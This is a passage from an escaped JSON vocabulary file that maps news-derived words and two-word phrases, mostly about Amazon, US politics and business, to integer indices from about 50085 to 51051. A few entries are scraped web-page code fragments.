cvs\": 50085,\n  \"quipped\": 50086,\n  \"gives thumbs\": 50087,\n  \"holdings\": 50088,\n  \"bargains\": 50089,\n  \"roost\": 50090,\n  \"scheduled economic\": 50091,\n  \"results varied\": 50092,\n  \"growth portfolio\": 50093,\n  \"guy environmentalists\": 50094,\n  \"jerod\": 50095,\n  \"ice details\": 50096,\n  \"breach facebook\": 50097,\n  \"prices forcing\": 50098,\n  \"existing amazon\": 50099,\n  \"nov features\": 50100,\n  \"healthcare costs\": 50101,\n  \"fired\": 50102,\n  \"increase competition\": 50103,\n  \"young americans\": 50104,\n  \"hampshire numbers\": 50105,\n  \"shipping capabilities\": 50106,\n  \"commentator\": 50107,\n  \"office did\": 50108,\n  \"share herera\": 50109,\n  \"outlined plan\": 50110,\n  \"order postal\": 50111,\n  \"liberal agenda\": 50112,\n  \"revenue increased\": 50113,\n  \"ustr started\": 50114,\n  \"facebook tag\": 50115,\n  \"josh dawsey\": 50116,\n  \"emergency supplies\": 50117,\n  \"prosecuting\": 50118,\n  \"work ______\": 50119,\n  \"ryder amazon\": 50120,\n  \"hard feel\": 50121,\n  \"prosecute opposition\": 50122,\n  \"hart senate\": 50123,\n  \"isn holding\": 50124,\n  \"imitation\": 50125,\n  \"direct comparisons\": 50126,\n  \"president carell\": 50127,\n  \"news article\": 50128,\n  \"tapes seized\": 50129,\n  \"tech peers\": 50130,\n  \"city economic\": 50131,\n  \"suing president\": 50132,\n  \"revealing graphic\": 50133,\n  \"gmt authorities\": 50134,\n  \"reached add_commas\": 50135,\n  \"trademark disputes\": 50136,\n  \"help military\": 50137,\n  \"1007 jpg\": 50138,\n  \"intimidate\": 50139,\n  \"stunningly\": 50140,\n  \"climate leader\": 50141,\n  \"slamming continues\": 50142,\n  \"despite antitrust\": 50143,\n  \"transcended\": 50144,\n  \"does relies\": 50145,\n  \"factors causing\": 50146,\n  \"need complete\": 50147,\n  \"w5\": 50148,\n  \"klobuchar\": 50149,\n  \"medication faces\": 50150,\n  \"dominant market\": 50151,\n  \"stock fund\": 50152,\n  \"received 129\": 50153,\n  \"resources necessary\": 50154,\n  \"religious organizations\": 50155,\n  \"netflix maga\": 50156,\n  \"moodys turns\": 50157,\n  \"reported story\": 50158,\n  \"sanchez whitesell\": 50159,\n  \"brought want\": 50160,\n  \"100\": 50161,\n  \"rinse repeat\": 50162,\n  \"guardian cited\": 50163,\n  \"trumpers\": 50164,\n  \"extremely slim\": 50165,\n  \"democrat carolyn\": 50166,\n  \"relief usa\": 50167,\n  \"surging amazon\": 50168,\n  \"change sees\": 50169,\n  \"ib n7\": 50170,\n  \"hdr set\": 50171,\n  \"passing laws\": 50172,\n  \"sega genesis\": 50173,\n  \"travelersa list\": 50174,\n  \"worldwide shipping\": 50175,\n  \"thrived\": 50176,\n  \"later officially\": 50177,\n  \"medical facility\": 50178,\n  \"gone step\": 50179,\n  \"generated standard\": 50180,\n  \"trans pacific\": 50181,\n  \"biden aides\": 50182,\n  \"fiercest competitor\": 50183,\n  \"fundamental protections\": 50184,\n  \"1959\": 50185,\n  \"dishwasher\": 50186,\n  \"headstones\": 50187,\n  \"counterintelligence leader\": 50188,\n  \"amazon line\": 50189,\n  \"news jokes\": 50190,\n  \"unquantified number\": 50191,\n  \"politico plus\": 50192,\n  \"spielberg benspielberg\": 50193,\n  \"bloomberg greg\": 50194,\n  \"year brexit\": 50195,\n  \"marketplace policies\": 50196,\n  \"struggling infrastructure\": 50197,\n  \"people holiday\": 50198,\n  \"estate episode\": 50199,\n  \"tax number\": 50200,\n  \"attacks people\": 50201,\n  \"followed investigation\": 50202,\n  \"basically paying\": 50203,\n  \"bloomfield updated\": 50204,\n  \"official observance\": 50205,\n  \"twitter trolling\": 50206,\n  \"govern enterprise\": 50207,\n  \"decay\": 50208,\n  \"interdiction consists\": 50209,\n  \"mike pence\": 50210,\n  \"110 million\": 50211,\n  \"rout sees\": 50212,\n  \"kim created\": 50213,\n  \"new packages\": 50214,\n  \"utah pressed\": 50215,\n  \"demand info\": 50216,\n  \"huppke rexhuppke\": 50217,\n  \"funding streams\": 50218,\n  \"bryan lot\": 50219,\n  \"commission launched\": 50220,\n  \"aboutamazon\": 50221,\n  \"puzzles photo\": 50222,\n  \"chill\": 50223,\n  \"amazon exploiting\": 50224,\n  \"super duper\": 50225,\n  \"amazon litany\": 50226,\n  \"phone doctor\": 50227,\n  \"low employers\": 50228,\n  \"staffer christine\": 50229,\n  \"boycott campaign\": 50230,\n  \"agribusiness especially\": 50231,\n  \"inc_hide_article_sidebarflag false\": 50232,\n  \"working shifts\": 50233,\n  \"washington writer\": 50234,\n  \"novel program\": 50235,\n  \"binding\": 50236,\n  \"pay penny\": 50237,\n  \"care\": 50238,\n  \"demand lower\": 50239,\n  \"fever\": 50240,\n  \"sergio van\": 50241,\n  \"premises especially\": 50242,\n  \"fbi andrewmccabe\": 50243,\n  \"operating losses\": 50244,\n  \"admirable minority\": 50245,\n  \"generation parkland\": 50246,\n  \"loaded firearms\": 50247,\n  \"kim seriously\": 50248,\n  \"tweet national\": 50249,\n  \"logistics parks\": 50250,\n  \"penalized\": 50251,\n  \"condon\": 50252,\n  \"totally different\": 50253,\n  \"virginia collectively\": 50254,\n  \"car testing\": 50255,\n  \"demeanour\": 50256,\n  \"big speech\": 50257,\n  \"moser noticed\": 50258,\n  \"detractor\": 50259,\n  \"darkest secrets\": 50260,\n  \"report earlier\": 50261,\n  \"272\": 50262,\n  \"launched campaign\": 50263,\n  \"just transition\": 50264,\n  \"brendan farrington\": 50265,\n  \"160b\": 50266,\n  \"simply remain\": 50267,\n  \"alphabet apple\": 50268,\n  \"year setting\": 50269,\n  \"amazonians tied\": 50270,\n  \"dana schwartz\": 50271,\n  \"potus declaration\": 50272,\n  \"starting gate\": 50273,\n  \"promised foxconn\": 50274,\n  \"article large\": 50275,\n  \"jerrold nadler\": 50276,\n  \"blown backs\": 50277,\n  \"aung\": 50278,\n  \"york dance\": 50279,\n  \"dissident jamal\": 50280,\n  \"service deliveries\": 50281,\n  \"board earlier\": 50282,\n  \"change laws\": 50283,\n  \"investigative probe\": 50284,\n  \"american petroleum\": 50285,\n  \"hosts joe\": 50286,\n  \"hammer time\": 50287,\n  \"commerce production\": 50288,\n  \"republican wrote\": 50289,\n  \"bombshell excerpts\": 50290,\n  \"senator proposal\": 50291,\n  \"standard hotel\": 50292,\n  \"disaster north\": 50293,\n  \"strengths inseparable\": 50294,\n  \"national indian\": 50295,\n  \"receive 129\": 50296,\n  \"normal country\": 50297,\n  \"lawman\": 50298,\n  \"e5e\": 50299,\n  \"called pho\": 50300,\n  \"money borrowed\": 50301,\n  \"trump rejects\": 50302,\n  \"fairness associated\": 50303,\n  \"relations bolsonaro\": 50304,\n  \"comment join\": 50305,\n  \"legal restrictions\": 50306,\n  \"sessions departure\": 50307,\n  \"written couple\": 50308,\n  \"opened sept\": 50309,\n  \"robyn\": 50310,\n  \"charlatans\": 50311,\n  \"trump possible\": 50312,\n  \"latest charitable\": 50313,\n  \"kaur\": 50314,\n  \"trading standards\": 50315,\n  \"irk\": 50316,\n  \"quarter marketwatch\": 50317,\n  \"millennial coming\": 50318,\n  \"control report\": 50319,\n  \"technologically advanced\": 50320,\n  \"significant steps\": 50321,\n  \"life children\": 50322,\n  \"theatrically released\": 50323,\n  \"recorded higher\": 50324,\n  \"near accuracy\": 50325,\n  \"getattribute\": 50326,\n  \"goods customs\": 50327,\n  \"oil gas\": 50328,\n  \"dhabi national\": 50329,\n  \"overrides autostart\": 50330,\n  \"heartbreaking botham\": 50331,\n  \"falling revenue\": 50332,\n  \"volcanoes\": 50333,\n  \"week intel\": 50334,\n  \"media heartland\": 50335,\n  \"lying temperament\": 50336,\n  \"america westward\": 50337,\n  \"onsies\": 50338,\n  \"trump internet\": 50339,\n  \"fortunes fell\": 50340,\n  \"gianna puerini\": 50341,\n  \"police operations\": 50342,\n  \"sherman jonathan\": 50343,\n  \"plant india\": 50344,\n  \"good crow\": 50345,\n  \"time assembly\": 50346,\n  \"centrist scores\": 50347,\n  \"new channels\": 50348,\n  \"birthdays\": 50349,\n  \"matthew joins\": 50350,\n  \"taking naked\": 50351,\n  \"lockheed written\": 50352,\n  \"officials announced\": 50353,\n  \"dance music\": 50354,\n  \"leads amazon\": 50355,\n  \"people\": 50356,\n  \"labor intensive\": 50357,\n  \"located\": 50358,\n  \"rss feedname\": 50359,\n  \"letter demanding\": 50360,\n  \"wage cynical\": 50361,\n  \"doses\": 50362,\n  \"kopsi\": 50363,\n  \"story listing\": 50364,\n  \"entire facebook\": 50365,\n  \"economic background\": 50366,\n  \"icontype\": 50367,\n  \"fda new\": 50368,\n  \"size necessarily\": 50369,\n  \"passing\": 50370,\n  \"democrats push\": 50371,\n  \"countless people\": 50372,\n  \"regulatory power\": 50373,\n  \"racist tweet\": 50374,\n  \"gg 1a\": 50375,\n  \"unfairly competing\": 50376,\n  \"headwind facing\": 50377,\n  \"branded product\": 50378,\n  \"northeastern mindanao\": 50379,\n  \"fast rate\": 50380,\n  \"watson\": 50381,\n  \"filled basketball\": 50382,\n  \"illinois appreciates\": 50383,\n  \"violate toll\": 50384,\n  \"zinke department\": 50385,\n  \"maximize volume\": 50386,\n  \"finally ended\": 50387,\n  \"hour week\": 50388,\n  \"false matches\": 50389,\n  \"adds trade\": 50390,\n  \"emotional interview\": 50391,\n  \"escorted\": 50392,\n  \"access cnn\": 50393,\n  \"patrick mcmullan\": 50394,\n  \"commerce version\": 50395,\n  \"brick\": 50396,\n  \"sarcastic comment\": 50397,\n  \"party won\": 50398,\n  \"term returns\": 50399,\n  \"daly kdaly\": 50400,\n  \"subsequent battle\": 50401,\n  \"1900\": 50402,\n  \"left versus\": 50403,\n  \"breathed\": 50404,\n  \"obama bought\": 50405,\n  \"negative effect\": 50406,\n  \"speak amazon\": 50407,\n  \"season features\": 50408,\n  \"talks led\": 50409,\n  \"imperfectly\": 50410,\n  \"gofundme scams\": 50411,\n  \"capitalise\": 50412,\n  \"big hoax\": 50413,\n  \"tweets rained\": 50414,\n  \"post elkins\": 50415,\n  \"story west\": 50416,\n  \"philosophy\": 50417,\n  \"owns trump\": 50418,\n  \"senate going\": 50419,\n  \"platform twitter\": 50420,\n  \"naturally\": 50421,\n  \"launching 500\": 50422,\n  \"economy especially\": 50423,\n  \"president views\": 50424,\n  \"starting shipping\": 50425,\n  \"twitter love\": 50426,\n  \"aid nonprofits\": 50427,\n  \"pittance\": 50428,\n  \"company black\": 50429,\n  \"human life\": 50430,\n  \"ram specifications\": 50431,\n  \"boston accent\": 50432,\n  \"legislation alex\": 50433,\n  \"google shopping\": 50434,\n  \"dander\": 50435,\n  \"bronx\": 50436,\n  \"homemaker political\": 50437,\n  \"forbes berkshire\": 50438,\n  \"forgo profits\": 50439,\n  \"missouri don\": 50440,\n  \"international treaty\": 50441,\n  \"pinzon goodthreads\": 50442,\n  \"nation cartoonists\": 50443,\n  \"construction costs\": 50444,\n  \"startup pillpack\": 50445,\n  \"trump created\": 50446,\n  \"gibbs supply\": 50447,\n  \"holiday toy\": 50448,\n  \"stock make\": 50449,\n  \"story naomi\": 50450,\n  \"old natl\": 50451,\n  \"alipay\": 50452,\n  \"doctor consultation\": 50453,\n  \"lago club\": 50454,\n  \"moonves advances\": 50455,\n  \"reflect company\": 50456,\n  \"leaves polling\": 50457,\n  \"film covered\": 50458,\n  \"retailers pay\": 50459,\n  \"foods acquisition\": 50460,\n  \"billionaire washington\": 50461,\n  \"2d\": 50462,\n  \"era regulations\": 50463,\n  \"headquarters fox\": 50464,\n  \"taxpayer funds\": 50465,\n  \"republican leader\": 50466,\n  \"don recommend\": 50467,\n  \"focusses\": 50468,\n  \"thoroughly investigated\": 50469,\n  \"lr washington\": 50470,\n  \"taking tomorrow\": 50471,\n  \"vilmain\": 50472,\n  \"development projects\": 50473,\n  \"billion defense\": 50474,\n  \"seattle required\": 50475,\n  \"hometown think\": 50476,\n  \"chapter amazon\": 50477,\n  \"amid disappointing\": 50478,\n  \"checklist white\": 50479,\n  \"investigation mueller\": 50480,\n  \"advance auto\": 50481,\n  \"fact given\": 50482,\n  \"decreased\": 50483,\n  \"attractive rates\": 50484,\n  \"720 shares\": 50485,\n  \"expenditure amazon\": 50486,\n  \"urihe7ofy043r\": 50487,\n  \"mouth billy\": 50488,\n  \"leaders drooled\": 50489,\n  \"dp 0999845284\": 50490,\n  \"stamps subsidize\": 50491,\n  \"antimonopoly laws\": 50492,\n  \"127 000\": 50493,\n  \"speech police\": 50494,\n  \"prime benefits\": 50495,\n  \"house u003c\": 50496,\n  \"inc_hide_article_sidebarflag\": 50497,\n  \"amazon detractors\": 50498,\n  \"kissing woman\": 50499,\n  \"elect military\": 50500,\n  \"travel vanity\": 50501,\n  \"head tax\": 50502,\n  \"sen elizabeth\": 50503,\n  \"roku making\": 50504,\n  \"2017 figure\": 50505,\n  \"business state\": 50506,\n  \"digital servicesweb\": 50507,\n  \"amazon areas\": 50508,\n  \"scenario banks\": 50509,\n  \"amazon remarkable\": 50510,\n  \"entire career\": 50511,\n  \"animated stickers\": 50512,\n  \"collectible item\": 50513,\n  \"appointed nooyi\": 50514,\n  \"prime revisit\": 50515,\n  \"michael hiltzik\": 50516,\n  \"investors include\": 50517,\n  \"pelley says\": 50518,\n  \"bright inflation\": 50519,\n  \"nlrb\": 50520,\n  \"virtual assistants\": 50521,\n  \"family schwietzer\": 50522,\n  \"quarterly reports\": 50523,\n  \"look exactly\": 50524,\n  \"intelligence contract\": 50525,\n  \"commercial pilot\": 50526,\n  \"demonstrate greater\": 50527,\n  \"billion daniel\": 50528,\n  \"killing season\": 50529,\n  \"users sending\": 50530,\n  \"dallas\": 50531,\n  \"dependent exemptions\": 50532,\n  \"skincare person\": 50533,\n  \"country opioid\": 50534,\n  \"lionize\": 50535,\n  \"trends remain\": 50536,\n  \"walmart macy\": 50537,\n  \"cavaliers\": 50538,\n  \"week benzinga\": 50539,\n  \"sexual treachery\": 50540,\n  \"omar voa\": 50541,\n  \"dr ford\": 50542,\n  \"anadolu source\": 50543,\n  \"traders jobbers\": 50544,\n  \"weekend rescue\": 50545,\n  \"becker post\": 50546,\n  \"8h\": 50547,\n  \"baldwin current\": 50548,\n  \"sensational blog\": 50549,\n  \"globally recognized\": 50550,\n  \"concert\": 50551,\n  \"treasury opportunity\": 50552,\n  \"consignments\": 50553,\n  \"boe\": 50554,\n  \"average expect\": 50555,\n  \"labour mps\": 50556,\n  \"directly undermines\": 50557,\n  \"knockout tweet\": 50558,\n  \"ago dorsey\": 50559,\n  \"mayoral challengers\": 50560,\n  \"results include\": 50561,\n  \"shooting\": 50562,\n  \"chris wallace\": 50563,\n  \"inc_feature_image_style pano\": 50564,\n  \"defense officials\": 50565,\n  \"parents north\": 50566,\n  \"european executive\": 50567,\n  \"characters giovanni\": 50568,\n  \"paper regularly\": 50569,\n  \"time buyers\": 50570,\n  \"moulton\": 50571,\n  \"writer jason\": 50572,\n  \"watching associated\": 50573,\n  \"shrouded\": 50574,\n  \"certain wage\": 50575,\n  \"rekognition including\": 50576,\n  \"mario image\": 50577,\n  \"function returntypeofr4ee\": 50578,\n  \"strict policy\": 50579,\n  \"logan purk\": 50580,\n  \"embedcodecopy function\": 50581,\n  \"chief justice\": 50582,\n  \"trump old\": 50583,\n  \"pummeled trump\": 50584,\n  \"sponsored\": 50585,\n  \"accepting amazon\": 50586,\n  \"delivery partnerships\": 50587,\n  \"creepy fairy\": 50588,\n  \"putin resident\": 50589,\n  \"force conducted\": 50590,\n  \"curiously hurts\": 50591,\n  \"books theater\": 50592,\n  \"helped cause\": 50593,\n  \"tijkwtcqoo trooper\": 50594,\n  \"ecommerce understands\": 50595,\n  \"lightening deals\": 50596,\n  \"holiday began\": 50597,\n  \"happens deutsch\": 50598,\n  \"production feistier\": 50599,\n  \"ethics law\": 50600,\n  \"permanent residency\": 50601,\n  \"business sentiment\": 50602,\n  \"harmless entertainment\": 50603,\n  \"efforts aimed\": 50604,\n  \"best intentions\": 50605,\n  \"shirt bore\": 50606,\n  \"raised eyebrows\": 50607,\n  \"discuss issues\": 50608,\n  \"square mobile\": 50609,\n  \"strong ftc\": 50610,\n  \"skills barrier\": 50611,\n  \"digital article\": 50612,\n  \"trump tried\": 50613,\n  \"surging pot\": 50614,\n  \"equal ground\": 50615,\n  \"latest marketing\": 50616,\n  \"lentol brooklyn\": 50617,\n  \"air romance\": 50618,\n  \"bank balance\": 50619,\n  \"live concerts\": 50620,\n  \"fixtures\": 50621,\n  \"experienced endto\": 50622,\n  \"n1\": 50623,\n  \"risk combined\": 50624,\n  \"companies arrangements\": 50625,\n  \"kind sneak\": 50626,\n  \"vanden\": 50627,\n  \"prime target\": 50628,\n  \"britain prince\": 50629,\n  \"massive military\": 50630,\n  \"adai\": 50631,\n  \"caitlyn\": 50632,\n  \"held ideas\": 50633,\n  \"billion mark\": 50634,\n  \"nanosecond long\": 50635,\n  \"trump talking\": 50636,\n  \"general government\": 50637,\n  \"twitter think\": 50638,\n  \"described\": 50639,\n  \"technologies finally\": 50640,\n  \"cache\": 50641,\n  \"floridians serving\": 50642,\n  \"sims told\": 50643,\n  \"list qanon\": 50644,\n  \"investors reacted\": 50645,\n  \"slowly unfolding\": 50646,\n  \"split a4ee\": 50647,\n  \"conama\": 50648,\n  \"largest mail\": 50649,\n  \"cases money\": 50650,\n  \"complicates\": 50651,\n  \"gunslinger\": 50652,\n  \"government regulators\": 50653,\n  \"response think\": 50654,\n  \"particularly combative\": 50655,\n  \"gmbactivistamazon\": 50656,\n  \"president baptised\": 50657,\n  \"cells faith\": 50658,\n  \"merit\": 50659,\n  \"huffpost story\": 50660,\n  \"thriller\": 50661,\n  \"british writer\": 50662,\n  \"states represent\": 50663,\n  \"portfolio biondo\": 50664,\n  \"monopolistic practices\": 50665,\n  \"federal prosecutor\": 50666,\n  \"finance grow\": 50667,\n  \"washington sources\": 50668,\n  \"wrote tom\": 50669,\n  \"segar private\": 50670,\n  \"survivability technology\": 50671,\n  \"submitted proposal\": 50672,\n  \"growing flowers\": 50673,\n  \"enthusiast named\": 50674,\n  \"section 321\": 50675,\n  \"bowie career\": 50676,\n  \"dom\": 50677,\n  \"choked\": 50678,\n  \"process coalition\": 50679,\n  \"vp wave\": 50680,\n  \"new reporters\": 50681,\n  \"thetrump organization\": 50682,\n  \"coffee backed\": 50683,\n  \"clear\": 50684,\n  \"trump ricin\": 50685,\n  \"298 1992\": 50686,\n  \"modern life\": 50687,\n  \"suits plays\": 50688,\n  \"reports usually\": 50689,\n  \"agricultural products\": 50690,\n  \"carriers look\": 50691,\n  \"fast casual\": 50692,\n  \"ubs economists\": 50693,\n  \"rotary dial\": 50694,\n  \"alexa words\": 50695,\n  \"donna brazile\": 50696,\n  \"cops\": 50697,\n  \"second flaw\": 50698,\n  \"official details\": 50699,\n  \"million subscribers\": 50700,\n  \"genetics research\": 50701,\n  \"bathing\": 50702,\n  \"disingenuously\": 50703,\n  \"taking natural\": 50704,\n  \"toilets\": 50705,\n  \"var f4a\": 50706,\n  \"took advantage\": 50707,\n  \"kardashian\": 50708,\n  \"extended trading\": 50709,\n  \"hobnobbing\": 50710,\n  \"browser extension\": 50711,\n  \"style substance\": 50712,\n  \"popular indian\": 50713,\n  \"eventbrite\": 50714,\n  \"melton\": 50715,\n  \"gop apparent\": 50716,\n  \"trump temper\": 50717,\n  \"caleb\": 50718,\n  \"usps increases\": 50719,\n  \"sight democracy\": 50720,\n  \"definitions\": 50721,\n  \"ic s9x\": 50722,\n  \"big concerns\": 50723,\n  \"yang award\": 50724,\n  \"2018 citing\": 50725,\n  \"speak speaking\": 50726,\n  \"secret key\": 50727,\n  \"alexa explained\": 50728,\n  \"just amazon\": 50729,\n  \"image cc\": 50730,\n  \"legitimate media\": 50731,\n  \"annual legislation\": 50732,\n  \"eu solidarity\": 50733,\n  \"freak occurrence\": 50734,\n  \"large stake\": 50735,\n  \"toasting\": 50736,\n  \"ya\": 50737,\n  \"skift piece\": 50738,\n  \"recent interview\": 50739,\n  \"cerrado deforestation\": 50740,\n  \"wage workforce\": 50741,\n  \"continuing integrity\": 50742,\n  \"problems stand\": 50743,\n  \"feuded\": 50744,\n  \"general grievous\": 50745,\n  \"won brazil\": 50746,\n  \"notes lowry\": 50747,\n  \"visit removing\": 50748,\n  \"opportunity particularly\": 50749,\n  \"grew stronger\": 50750,\n  \"2018 je\": 50751,\n  \"hypocrisy trump\": 50752,\n  \"sept introduced\": 50753,\n  \"toanother\": 50754,\n  \"2018 college\": 50755,\n  \"say rate\": 50756,\n  \"additionally spicer\": 50757,\n  \"food distribution\": 50758,\n  \"product listing\": 50759,\n  \"led executive\": 50760,\n  \"regional corporate\": 50761,\n  \"arnold\": 50762,\n  \"select sector\": 50763,\n  \"war grew\": 50764,\n  \"reuters orlando\": 50765,\n  \"federal corporate\": 50766,\n  \"based fulfillment\": 50767,\n  \"multiple cpg\": 50768,\n  \"shovel hits\": 50769,\n  \"\\u0142500 000\": 50770,\n  \"distractors 8221\": 50771,\n  \"bezos run\": 50772,\n  \"lane filler\": 50773,\n  \"fabulous\": 50774,\n  \"reportedly close\": 50775,\n  \"ali suliman\": 50776,\n  \"various incentive\": 50777,\n  \"solidarity emanating\": 50778,\n  \"dailymail\": 50779,\n  \"ibm combined\": 50780,\n  \"sessions attends\": 50781,\n  \"function containerid\": 50782,\n  \"new additions\": 50783,\n  \"disney mcdonald\": 50784,\n  \"outback steakhouse\": 50785,\n  \"boom advances\": 50786,\n  \"health experts\": 50787,\n  \"future attacks\": 50788,\n  \"homepage nonetheless\": 50789,\n  \"image courtesy\": 50790,\n  \"entity captured\": 50791,\n  \"q4 data\": 50792,\n  \"jr flying\": 50793,\n  \"year just\": 50794,\n  \"team members\": 50795,\n  \"caves\": 50796,\n  \"catspaw trump\": 50797,\n  \"deputy assistant\": 50798,\n  \"perform trending\": 50799,\n  \"lux\": 50800,\n  \"missile testing\": 50801,\n  \"giant stories\": 50802,\n  \"alexa speakers\": 50803,\n  \"anti greed\": 50804,\n  \"letter cnet\": 50805,\n  \"distribute stories\": 50806,\n  \"away massive\": 50807,\n  \"users increased\": 50808,\n  \"argument session\": 50809,\n  \"alonzo\": 50810,\n  \"contracts donnelly\": 50811,\n  \"member maloney\": 50812,\n  \"lucha\": 50813,\n  \"ebooks promoting\": 50814,\n  \"whirlwind\": 50815,\n  \"band\": 50816,\n  \"day schwietzer\": 50817,\n  \"douglas rain\": 50818,\n  \"illegal purposes\": 50819,\n  \"abdul el\": 50820,\n  \"incorporated\": 50821,\n  \"email rung\": 50822,\n  \"customers slow\": 50823,\n  \"prices charged\": 50824,\n  \"showtime live\": 50825,\n  \"unpublishable\": 50826,\n  \"reliable bus\": 50827,\n  \"cnn parent\": 50828,\n  \"tell bezos\": 50829,\n  \"koch brothers\": 50830,\n  \"downward quickly\": 50831,\n  \"layerx layery\": 50832,\n  \"opportunity rover\": 50833,\n  \"jobs alongside\": 50834,\n  \"large flat\": 50835,\n  \"energizing\": 50836,\n  \"posted video\": 50837,\n  \"000 individuals\": 50838,\n  \"ami connection\": 50839,\n  \"suicide protesters\": 50840,\n  \"conversations\": 50841,\n  \"thumbimagelargesource thumbimageelem\": 50842,\n  \"thecanadianpress\": 50843,\n  \"sharpest bite\": 50844,\n  \"walt zlotow\": 50845,\n  \"seton motley\": 50846,\n  \"remained silent\": 50847,\n  \"burn coal\": 50848,\n  \"submit disclosure\": 50849,\n  \"online prime\": 50850,\n  \"services expectations\": 50851,\n  \"half years\": 50852,\n  \"save taxpayers\": 50853,\n  \"place provides\": 50854,\n  \"bezos intervened\": 50855,\n  \"octavio\": 50856,\n  \"louise_matsakis\": 50857,\n  \"employer accountable\": 50858,\n  \"secretary doorstep\": 50859,\n  \"amazon decorative\": 50860,\n  \"left thinking\": 50861,\n  \"favorite betway\": 50862,\n  \"christopher monico\": 50863,\n  \"trump responding\": 50864,\n  \"runs counter\": 50865,\n  \"provider amazon\": 50866,\n  \"linda rosenthal\": 50867,\n  \"major party\": 50868,\n  \"navigate class\": 50869,\n  \"js video_duration\": 50870,\n  \"airline sued\": 50871,\n  \"including british\": 50872,\n  \"safe bet\": 50873,\n  \"737f aircraft\": 50874,\n  \"looms large\": 50875,\n  \"today hour\": 50876,\n  \"fraudster elizabeth\": 50877,\n  \"comedy considers\": 50878,\n  \"wasikowska\": 50879,\n  \"mmcgill politico\": 50880,\n  \"visual flair\": 50881,\n  \"bhutan\": 50882,\n  \"eviction cases\": 50883,\n  \"2018 snopes\": 50884,\n  \"international securities\": 50885,\n  \"vacuum cleaner\": 50886,\n  \"macbook charger\": 50887,\n  \"faced conservative\": 50888,\n  \"actions advertisement\": 50889,\n  \"matt ryan\": 50890,\n  \"almighty row\": 50891,\n  \"arizona senator\": 50892,\n  \"black assisted\": 50893,\n  \"billion retail\": 50894,\n  \"word dixie\": 50895,\n  \"regulators unwind\": 50896,\n  \"gmt new\": 50897,\n  \"nfib says\": 50898,\n  \"domains\": 50899,\n  \"report warned\": 50900,\n  \"internal politics\": 50901,\n  \"854\": 50902,\n  \"insult\": 50903,\n  \"affordable pc\": 50904,\n  \"performance financial\": 50905,\n  \"tons\": 50906,\n  \"spicer ranking\": 50907,\n  \"lithgow chlo\\u00eb\": 50908,\n  \"team usa\": 50909,\n  \"warning amazonclarity\": 50910,\n  \"banks issuing\": 50911,\n  \"pods fist\": 50912,\n  \"rocky times\": 50913,\n  \"eighth\": 50914,\n  \"instance german\": 50915,\n  \"workplace closest\": 50916,\n  \"days later\": 50917,\n  \"post reportedly\": 50918,\n  \"political acquaintance\": 50919,\n  \"ra a4ee\": 50920,\n  \"company admitted\": 50921,\n  \"create jedi\": 50922,\n  \"ifmbu4gec3 pic\": 50923,\n  \"citing anonymous\": 50924,\n  \"people kushner\": 50925,\n  \"traveled\": 50926,\n  \"baptised bezos\": 50927,\n  \"fixed piers\": 50928,\n  \"markedly decrease\": 50929,\n  \"socks reached\": 50930,\n  \"circumvent congress\": 50931,\n  \"median salary\": 50932,\n  \"snapchat ceo\": 50933,\n  \"recently subpoenaed\": 50934,\n  \"chip suggests\": 50935,\n  \"friends check\": 50936,\n  \"length scantily\": 50937,\n  \"culture war\": 50938,\n  \"htc samsung\": 50939,\n  \"distinguished writing\": 50940,\n  \"met bezos\": 50941,\n  \"glossies\": 50942,\n  \"parody\": 50943,\n  \"surveillance disinformation\": 50944,\n  \"sent fears\": 50945,\n  \"250 million\": 50946,\n  \"companies stealth\": 50947,\n  \"marshall county\": 50948,\n  \"embarrassingly large\": 50949,\n  \"week jeff\": 50950,\n  \"final point\": 50951,\n  \"series boasts\": 50952,\n  \"forgot\": 50953,\n  \"ha ja\": 50954,\n  \"eu taxes\": 50955,\n  \"postal products\": 50956,\n  \"recognition entry\": 50957,\n  \"amazon directive\": 50958,\n  \"cohen tell\": 50959,\n  \"isis kelly\": 50960,\n  \"hawkish elements\": 50961,\n  \"skykick edelman\": 50962,\n  \"don diversify\": 50963,\n  \"problem issuing\": 50964,\n  \"container\": 50965,\n  \"enquirer really\": 50966,\n  \"director james\": 50967,\n  \"maclachlan\": 50968,\n  \"priorities suggests\": 50969,\n  \"sector going\": 50970,\n  \"program peddlers\": 50971,\n  \"ceo megan\": 50972,\n  \"large profitable\": 50973,\n  \"detailing terms\": 50974,\n  \"okamura\": 50975,\n  \"techradar\": 50976,\n  \"products spanning\": 50977,\n  \"conscious\": 50978,\n  \"ryan portrayal\": 50979,\n  \"media elites\": 50980,\n  \"best format\": 50981,\n  \"transportation companies\": 50982,\n  \"saw arguments\": 50983,\n  \"summit patriots\": 50984,\n  \"gavin newsom\": 50985,\n  \"insiders plan\": 50986,\n  \"finance donald\": 50987,\n  \"killing 2018\": 50988,\n  \"twitter finally\": 50989,\n  \"controversy wide\": 50990,\n  \"redoubling\": 50991,\n  \"large online\": 50992,\n  \"international revenues\": 50993,\n  \"kabir amit\": 50994,\n  \"hollywood park\": 50995,\n  \"unfurl anti\": 50996,\n  \"secretary emily\": 50997,\n  \"drezner dandrezner\": 50998,\n  \"world agricultural\": 50999,\n  \"repeatedly took\": 51000,\n  \"division\": 51001,\n  \"tommy vietor\": 51002,\n  \"communications consultant\": 51003,\n  \"img_reference_name\": 51004,\n  \"tufankjian heidi\": 51005,\n  \"greatly implemented\": 51006,\n  \"enders airbus\": 51007,\n  \"service task\": 51008,\n  \"senior quantitative\": 51009,\n  \"someday adobe\": 51010,\n  \"violence survivors\": 51011,\n  \"inertia\": 51012,\n  \"couple erin\": 51013,\n  \"purged\": 51014,\n  \"official working\": 51015,\n  \"book uncommon\": 51016,\n  \"banking customers\": 51017,\n  \"high despite\": 51018,\n  \"inquiry enforcers\": 51019,\n  \"bolt need\": 51020,\n  \"gmt randy\": 51021,\n  \"veryreal\": 51022,\n  \"wing podium\": 51023,\n  \"life representatives\": 51024,\n  \"wreak havoc\": 51025,\n  \"coast way\": 51026,\n  \"ap amy\": 51027,\n  \"suspira\": 51028,\n  \"county roads\": 51029,\n  \"dad year\": 51030,\n  \"years away\": 51031,\n  \"comfortably smug\": 51032,\n  \"sen chuck\": 51033,\n  \"hourly pay\": 51034,\n  \"dinner guests\": 51035,\n  \"political interests\": 51036,\n  \"residence outside\": 51037,\n  \"supply touch\": 51038,\n  \"conservative commentator\": 51039,\n  \"deliveries particularly\": 51040,\n  \"election tweeted\": 51041,\n  \"policy challenge\": 51042,\n  \"determine costs\": 51043,\n  \"way giving\": 51044,\n  \"trott\": 51045,\n  \"location according\": 51046,\n  \"amazon small\": 51047,\n  \"additional racy\": 51048,\n  \"claiming migrants\": 51049,\n  \"potential congressional\": 51050,\n  \"2013 episode\": 51051,\n  \"buy nike\": 